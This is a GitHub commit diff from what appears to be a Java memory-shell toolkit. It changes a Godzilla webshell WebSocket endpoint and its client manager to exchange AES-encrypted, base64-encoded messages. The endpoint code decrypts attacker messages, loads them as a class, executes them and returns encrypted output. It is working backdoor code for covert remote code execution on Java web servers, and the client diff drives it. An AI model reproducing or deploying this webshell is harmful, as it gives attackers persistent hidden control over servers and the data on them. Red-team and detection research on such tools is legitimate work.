Skip to content

Commit 515a2d5

Browse files
committed
fix: support AES_BASE64 GodzillaWebSocket by default
1 parent 5ab2102 commit 515a2d5

File tree

2 files changed

+50
-11
lines changed

2 files changed

+50
-11
lines changed

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebSocket.java

Lines changed: 43 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -9,13 +9,12 @@
99
import java.lang.reflect.Method;
1010
import java.net.URL;
1111
import java.net.URLClassLoader;
12-
import java.nio.ByteBuffer;
1312

1413
/**
1514
* @author ReaJason
1615
* @since 2025/5/9
1716
*/
18-
public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole<ByteBuffer> {
17+
public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole<String> {
1918
public static String key;
2019

2120
private Session session;
@@ -45,28 +44,64 @@ public void onOpen(final Session session, EndpointConfig config) {
4544
}
4645

4746
@Override
48-
public void onMessage(ByteBuffer byteBuffer) {
47+
public void onMessage(String message) {
4948
try {
50-
byte[] data = byteBuffer.array();
49+
byte[] data = base64Decode(message);
5150
data = x(data, false);
52-
byte[] response = new byte[0];
5351
if (payload == null) {
5452
payload = Q(data);
53+
session.getBasicRemote().sendText(base64Encode(x("ok".getBytes(), true)));
5554
} else {
5655
java.io.ByteArrayOutputStream bos = new java.io.ByteArrayOutputStream();
5756
Object obj = payload.newInstance();
5857
obj.equals(data);
5958
obj.equals(bos);
6059
obj.toString();
61-
response = bos.toByteArray();
60+
session.getBasicRemote().sendText(base64Encode(x(bos.toByteArray(), true)));
6261
}
63-
session.getBasicRemote().sendBinary(ByteBuffer.wrap(x(response, true)));
6462
} catch (Throwable e) {
65-
e.printStackTrace();
6663
try {
6764
session.close();
6865
} catch (java.io.IOException ignored) {
6966
}
7067
}
7168
}
69+
70+
@SuppressWarnings("all")
71+
public static String base64Encode(byte[] bs) throws Exception {
72+
String value = null;
73+
Class<?> base64;
74+
try {
75+
base64 = Class.forName("java.util.Base64", true, Thread.currentThread().getContextClassLoader());
76+
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
77+
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
78+
} catch (Exception var6) {
79+
try {
80+
base64 = Class.forName("sun.misc.BASE64Encoder", true, Thread.currentThread().getContextClassLoader());
81+
Object encoder = base64.newInstance();
82+
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
83+
} catch (Exception ignored) {
84+
}
85+
}
86+
return value;
87+
}
88+
89+
@SuppressWarnings("all")
90+
public static byte[] base64Decode(String bs) {
91+
byte[] value = null;
92+
Class<?> base64;
93+
try {
94+
base64 = Class.forName("java.util.Base64", false, Thread.currentThread().getContextClassLoader());
95+
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
96+
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
97+
} catch (Exception var6) {
98+
try {
99+
base64 = Class.forName("sun.misc.BASE64Decoder", false, Thread.currentThread().getContextClassLoader());
100+
Object decoder = base64.newInstance();
101+
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
102+
} catch (Exception ignored) {
103+
}
104+
}
105+
return value;
106+
}
72107
}

tools/godzilla/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java

Lines changed: 7 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -196,7 +196,9 @@ public boolean start() {
196196
}
197197
if (isWs()) {
198198
try {
199-
BlockingJavaWebSocketClient.sendRequestWaitResponse(this.entrypoint, ByteBuffer.wrap(bytes));
199+
byte[] aes = aes(this.key, bytes, true);
200+
String base64String = Base64.encodeBase64String(aes);
201+
BlockingJavaWebSocketClient.sendRequestWaitResponse(this.entrypoint, base64String);
200202
return true;
201203
} catch (Exception e) {
202204
e.printStackTrace();
@@ -226,8 +228,10 @@ public boolean test() {
226228
}
227229

228230
if (isWs()) {
229-
byte[] bytes1 = BlockingJavaWebSocketClient.sendRequestWaitResponse(this.entrypoint, ByteBuffer.wrap(bytes));
230-
byte[] x = aes(key, bytes1, false);
231+
byte[] aes = aes(this.key, bytes, true);
232+
String base64String = Base64.encodeBase64String(aes);
233+
String response = BlockingJavaWebSocketClient.sendRequestWaitResponse(this.entrypoint, base64String);
234+
byte[] x = aes(key, Base64.decodeBase64(response), false);
231235
GZIPInputStream gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(x));
232236
return "ok".equals(IOUtils.toString(gzipInputStream, StandardCharsets.UTF_8));
233237
}

0 commit comments

Comments
 (0)